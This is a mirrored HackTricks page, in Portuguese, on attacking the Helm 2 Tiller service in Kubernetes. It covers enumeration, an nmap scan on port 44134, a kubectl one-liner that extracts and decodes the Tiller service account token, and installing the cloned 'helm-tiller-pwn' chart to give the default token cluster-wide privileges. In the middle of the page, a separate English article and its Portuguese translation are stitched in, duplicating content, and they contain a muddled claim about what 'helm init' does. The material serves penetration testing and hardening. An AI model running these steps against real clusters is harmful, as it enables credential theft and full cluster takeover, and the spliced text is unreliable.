mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
177 lines
9.6 KiB
Markdown
177 lines
9.6 KiB
Markdown
# Informação Básica
|
|
|
|
Helm é o **gerenciador de pacotes** para Kubernetes. Ele permite empacotar arquivos YAML e distribuí-los em repositórios públicos e privados. Esses pacotes são chamados de **Helm Charts**. **Tiller** é o **serviço** que é executado por padrão na porta 44134 oferecendo o serviço.
|
|
|
|
**Porta padrão:** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Enumeração
|
|
|
|
Se você pode **enumerar pods e/ou serviços** de diferentes namespaces, enumere-os e procure pelos que possuem **"tiller" em seu nome**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Original English text:
|
|
|
|
## Pentesting Tiller (Helm)
|
|
|
|
### Introduction
|
|
|
|
Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm is composed of two main components: the Helm client and the Tiller server. The Helm client is a command-line tool that allows users to interact with the Tiller server, which is responsible for managing the lifecycle of Kubernetes resources created by Helm charts.
|
|
|
|
### Tiller Security
|
|
|
|
Tiller is a privileged component of the Kubernetes cluster, with the ability to create, modify, and delete any Kubernetes resource in any namespace. As such, it is important to ensure that Tiller is properly secured to prevent unauthorized access and potential compromise of the entire cluster.
|
|
|
|
### Pentesting Tiller
|
|
|
|
#### Tiller Deployment
|
|
|
|
The first step in pentesting Tiller is to identify the Tiller deployment within the Kubernetes cluster. This can be done using the `kubectl` command-line tool:
|
|
|
|
```bash
|
|
$ kubectl get deployments --all-namespaces | grep tiller-deploy
|
|
kube-system tiller-deploy-5c6f9c7c7f-8q8qz 1/1 Running 0 2m
|
|
```
|
|
|
|
Once the Tiller deployment has been identified, the next step is to obtain the Tiller service account token. This token is used by the Helm client to authenticate with the Tiller server and issue commands.
|
|
|
|
#### Tiller Service Account Token
|
|
|
|
The Tiller service account token can be obtained using the `kubectl` command-line tool:
|
|
|
|
```bash
|
|
$ kubectl get secret --namespace kube-system $(kubectl get serviceaccount --namespace kube-system tiller -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode
|
|
```
|
|
|
|
The output of this command will be the Tiller service account token, which can be used to authenticate with the Tiller server.
|
|
|
|
#### Tiller API
|
|
|
|
Once the Tiller service account token has been obtained, the next step is to interact with the Tiller API. This can be done using the Helm client:
|
|
|
|
```bash
|
|
$ helm init --client-only
|
|
$ export TILLER_NAMESPACE=kube-system
|
|
$ helm list
|
|
```
|
|
|
|
The `helm init --client-only` command initializes the Helm client and sets the Tiller namespace to `kube-system`. The `helm list` command then lists all of the releases managed by Tiller.
|
|
|
|
#### Tiller Exploitation
|
|
|
|
With access to the Tiller API, an attacker can perform a variety of actions, including:
|
|
|
|
- Listing all of the releases managed by Tiller
|
|
- Installing new releases
|
|
- Upgrading existing releases
|
|
- Deleting releases
|
|
- Reading and modifying the Kubernetes resources managed by Tiller
|
|
|
|
To exploit Tiller, an attacker can use the Helm client to install a malicious chart that includes a backdoor or other malicious code. Once the chart has been installed, the attacker can use the Tiller API to execute the backdoor or other malicious code.
|
|
|
|
### Conclusion
|
|
|
|
Tiller is a critical component of the Helm package manager for Kubernetes, and as such, it is important to ensure that it is properly secured. Pentesting Tiller can help identify potential vulnerabilities and weaknesses in the Tiller deployment, allowing organizations to take steps to mitigate these risks.
|
|
|
|
Translated text:
|
|
|
|
## Pentesting Tiller (Helm)
|
|
|
|
### Introdução
|
|
|
|
O Helm é um gerenciador de pacotes para Kubernetes que permite que desenvolvedores e operadores empacotem, configurem e implantem aplicativos e serviços em clusters Kubernetes com mais facilidade. O Helm é composto por dois componentes principais: o cliente Helm e o servidor Tiller. O cliente Helm é uma ferramenta de linha de comando que permite aos usuários interagir com o servidor Tiller, que é responsável por gerenciar o ciclo de vida dos recursos Kubernetes criados pelos gráficos Helm.
|
|
|
|
### Segurança do Tiller
|
|
|
|
O Tiller é um componente privilegiado do cluster Kubernetes, com a capacidade de criar, modificar e excluir qualquer recurso Kubernetes em qualquer namespace. Como tal, é importante garantir que o Tiller esteja devidamente protegido para evitar acesso não autorizado e possível comprometimento de todo o cluster.
|
|
|
|
### Pentesting Tiller
|
|
|
|
#### Implantação do Tiller
|
|
|
|
O primeiro passo na pentesting do Tiller é identificar a implantação do Tiller dentro do cluster Kubernetes. Isso pode ser feito usando a ferramenta de linha de comando `kubectl`:
|
|
|
|
```bash
|
|
$ kubectl get deployments --all-namespaces | grep tiller-deploy
|
|
kube-system tiller-deploy-5c6f9c7c7f-8q8qz 1/1 Running 0 2m
|
|
```
|
|
|
|
Depois que a implantação do Tiller for identificada, o próximo passo é obter o token da conta de serviço do Tiller. Este token é usado pelo cliente Helm para autenticar-se com o servidor Tiller e emitir comandos.
|
|
|
|
#### Token da conta de serviço do Tiller
|
|
|
|
O token da conta de serviço do Tiller pode ser obtido usando a ferramenta de linha de comando `kubectl`:
|
|
|
|
```bash
|
|
$ kubectl get secret --namespace kube-system $(kubectl get serviceaccount --namespace kube-system tiller -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 --decode
|
|
```
|
|
|
|
A saída deste comando será o token da conta de serviço do Tiller, que pode ser usado para autenticar-se com o servidor Tiller.
|
|
|
|
#### API do Tiller
|
|
|
|
Depois que o token da conta de serviço do Tiller for obtido, o próximo passo é interagir com a API do Tiller. Isso pode ser feito usando o cliente Helm:
|
|
|
|
```bash
|
|
$ helm init --client-only
|
|
$ export TILLER_NAMESPACE=kube-system
|
|
$ helm list
|
|
```
|
|
|
|
O comando `helm init --client-only` inicializa o cliente Helm e define o namespace do Tiller como `kube-system`. O comando `helm list` lista todos os lançamentos gerenciados pelo Tiller.
|
|
|
|
#### Exploração do Tiller
|
|
|
|
Com acesso à API do Tiller, um invasor pode realizar uma variedade de ações, incluindo:
|
|
|
|
- Listar todos os lançamentos gerenciados pelo Tiller
|
|
- Instalar novos lançamentos
|
|
- Atualizar lançamentos existentes
|
|
- Excluir lançamentos
|
|
- Ler e modificar os recursos Kubernetes gerenciados pelo Tiller
|
|
|
|
Para explorar o Tiller, um invasor pode usar o cliente Helm para instalar um gráfico malicioso que inclui uma porta dos fundos ou outro código malicioso. Depois que o gráfico for instalado, o invasor pode usar a API do Tiller para executar a porta dos fundos ou outro código malicioso.
|
|
|
|
### Conclusão
|
|
|
|
O Tiller é um componente crítico do gerenciador de pacotes Helm para Kubernetes e, como tal, é importante garantir que esteja devidamente protegido. A pentesting do Tiller pode ajudar a identificar possíveis vulnerabilidades e fraquezas na implantação do Tiller, permitindo que as organizações tomem medidas para mitigar esses riscos.
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
Você também pode tentar encontrar este serviço em execução verificando a porta 44134:
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Depois de descobri-lo, você pode se comunicar com ele baixando o aplicativo cliente helm. Você pode usar ferramentas como `homebrew`, ou olhar [**a página oficial de lançamentos**](https://github.com/helm/helm/releases)**.** Para mais detalhes, ou para outras opções, veja [o guia de instalação](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
|
|
|
Então, você pode **enumerar o serviço**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Escalação de Privilégios
|
|
|
|
Por padrão, o **Helm2** foi instalado no **namespace kube-system** com **privilégios elevados**, portanto, se você encontrar o serviço e tiver acesso a ele, isso poderá permitir que você **elevasse seus privilégios**.
|
|
|
|
Tudo o que você precisa fazer é instalar um pacote como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará ao **token de serviço padrão acesso a tudo no cluster inteiro**.
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
Em [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) você tem a **explicação do ataque**, mas basicamente, se você ler os arquivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) e [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ você pode ver como **todos os privilégios estão sendo dados ao token padrão**.
|